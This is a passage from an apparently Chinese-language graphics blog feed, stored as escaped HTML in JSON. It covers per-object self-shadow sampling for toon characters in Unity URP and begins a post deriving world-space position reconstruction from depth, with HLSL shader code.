class=\"n\"\u003eGetMainLightPerObjectSelfShadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ehalf4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetMainLightShadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSelfShadowCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSelfShadowCasterIds\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecasterId\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.001\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformWorldToPerObjectShadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSelfShadowMatrices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePerObjectShadow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTEXTURE2D_SHADOW_ARGS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSelfShadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_PerObjSelfShadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSelfShadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e你可能会好奇,为什么不直接传一个 \u003ccode\u003eshadowIndex\u003c/code\u003e,这样 Shader 里不是能少一个循环吗?\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003e\u003ccode\u003esequenceDiagram\n participant CPU\n actor 角色材质\n participant GPU\n\n CPU-\u0026gt;\u0026gt;角色材质: 设置 shadowIndex\n CPU-\u0026gt;\u0026gt;+GPU: 提交数据,请求绘制\n GPU-\u0026gt;\u0026gt;-角色材质: 读取并绘制角色\n CPU-\u0026gt;\u0026gt;角色材质: 设置 shadowIndex\n CPU-\u0026gt;\u0026gt;+GPU: 提交数据,请求绘制\n CPU-\u0026gt;\u0026gt;角色材质: 设置 shadowIndex\n GPU-\u0026gt;\u0026gt;-角色材质: 读取并绘制角色\n CPU-\u0026gt;\u0026gt;+GPU: 提交数据,请求绘制\n GPU-\u0026gt;\u0026gt;-角色材质: 读取并绘制角色\u003c/code\u003e\u003c/pre\u003e\n\u003cblockquote\u003e\n\u003cp\u003e图中的「提交数据」指通过 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Rendering.CommandBuffer.SetGlobalMatrixArray.html\"\u003e\u003ccode\u003eCommandBuffer.SetGlobalMatrixArray\u003c/code\u003e\u003c/a\u003e 这类 API 设置的数据,GPU 执行到这里才会生效。但角色材质数据是在 cbuffer 里的,CPU 一旦设置就立即生效。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e考虑上图的情况,第二次绘制时,GPU 读取的是下一帧的 \u003ccode\u003eshadowIndex\u003c/code\u003e,导致阴影渲染出错。从视觉效果上讲,就是阴影突然消失,之后可能又突然出现。URP 是 SceneView、Preview、Game 等多个 Camera 交替渲染的,每个 Camera 都要设置自己的 \u003ccode\u003eshadowIndex\u003c/code\u003e,但角色材质只有一份,竞争更加激烈,阴影更容易出错。而 \u003ccode\u003ecasterId\u003c/code\u003e 的值在第一次设置后就不变了,能解决上面的问题,代价是在 Shader 里加了个循环。\u003c/p\u003e\n\u003cp\u003e游戏里头发是不采样自阴影的。脸部使用的是基于深度偏移的刘海阴影,具体讲就是,提前画一张只有头发的深度图,绘制脸部时,根据光照方向偏移采样这张深度图,然后确定阴影区域,流程和深度偏移的边缘光比较像。这样不容易把脸弄脏,开销少一点,阴影图的大小也能适当减小一点。\u003c/p\u003e\n\u003ch2 id=\"完整代码\"\u003e完整代码\u003ca class=\"headerlink\" href=\"#完整代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/stalomeow/StarRailNPRShader\"\u003eGitHub: stalomeow/StarRailNPRShader\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"参考文章\"\u003e参考文章\u003ca class=\"headerlink\" href=\"#参考文章\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/667305414\"\u003e图形引擎实战:自阴影渲染分享 - 知乎\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/666545782\"\u003eUnity 从DecalSystem创建PerObjectShadow - 知乎\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://docs.unity3d.com/ScriptReference/Matrix4x4.Ortho.html\"\u003eUnity - Scripting API: Matrix4x4.Ortho\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/toon-main-light-character-shadow/"},{"title":"深度重建世界坐标","time":"2024-07-10T13:52:12Z","content":"\u003ch1 id=\"深度重建世界坐标\"\u003e深度重建世界坐标\u003ca class=\"headerlink\" href=\"#深度重建世界坐标\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e在后处理 Shader 还有一些屏幕空间效果中,常需要使用深度还原世界坐标。\u003c/p\u003e\n\u003ch2 id=\"逆矩阵法\"\u003e逆矩阵法\u003ca class=\"headerlink\" href=\"#逆矩阵法\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003ch3 id=\"推导\"\u003e推导\u003ca class=\"headerlink\" href=\"#推导\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e根据 uv 和 depth 可以还原出 \u003ccode\u003epositionNDC.xyz\u003c/code\u003e。由\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixVP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// positionNDC.w 一定为 1\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e可得\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003ccode\u003ew\u003c/code\u003e 分量的公式为\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e因为 \u003ccode\u003epositionWS.w == 1\u003c/code\u003e 所以\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e带回去得到\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e化简得到\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch3 id=\"URP-实现\"\u003eURP 实现\u003ca class=\"headerlink\" href=\"#URP-实现\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e在 \u003ccode\u003ePackages/com.unity.render-pipelines.universal/ShaderLibrary/Common.hlsl\u003c/code\u003e 里有相关的实现。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注意此处 URP 的 \u003ccode\u003epositionNDC.xy\u003c/code\u003e 是屏幕 \u003ccode\u003euv\u003c/code\u003e,范围是 \u003ccode\u003e[0, 1]\u003c/code\u003e,与前面推导时用的 \u003ccode\u003epositionNDC\u003c/code\u003e 的定义不同。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComputeClipSpacePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e2.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"cp\"\u003e#if UNITY_UV_STARTS_AT_TOP\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Our world space, view space, screen space and NDC space are Y-up.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Our clip space is flipped upside-down due to poor legacy Unity design.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// The flip is baked into the projection matrix, so we only have to flip\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// manually when going from CS to NDC and back.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#endif\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComputeWorldSpacePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einvViewProjMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这个 positionCS 才是前面推导时的 positionNDC\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComputeClipSpacePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehpositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einvViewProjMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehpositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyz\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehpositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e使用方法\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"cp\"\u003e#include \u0026quot;Packages/com.unity.render-pipelines.core/ShaderLibrary/Common.hlsl\u0026quot;\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#include \u0026quot;Packages/com.unity.render-pipelines.universal/ShaderLibrary/DeclareDepthTexture.hlsl\u0026quot;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// ...\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan 